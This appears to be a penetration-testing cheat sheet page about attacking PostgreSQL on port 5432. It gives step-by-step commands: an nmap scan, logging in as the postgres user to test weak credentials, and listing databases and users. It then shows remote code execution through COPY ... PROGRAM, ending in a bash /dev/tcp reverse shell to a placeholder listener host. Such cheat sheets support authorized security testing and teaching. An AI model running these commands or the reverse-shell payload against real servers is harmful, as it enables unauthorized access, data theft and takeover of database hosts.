Howlsec
HOWLSEC
offensive security
Back to Port Tracker
🐘

PostgreSQL

Port 5432Database

PostgreSQL — weak creds, then dump data or RCE via COPY ... PROGRAM.

// methodology checklist

Step-by-step commands

1

Service scan

howlsec@kali·shell
nmap -p5432 -sV -sC $t
2

Connect & enumerate

howlsec@kali·shell
psql -h $t -U postgres
howlsec@kali·shell
\l   # list databases
howlsec@kali·shell
\du  # list users
3

RCE via COPY PROGRAM

Requires superuser or pg_execute_server_program.

howlsec@kali·shell
COPY (SELECT '') TO PROGRAM 'id';
howlsec@kali·shell
DROP TABLE IF EXISTS cmd; CREATE TABLE cmd(output text); COPY cmd FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/<lhost>/<lport> 0>&1"';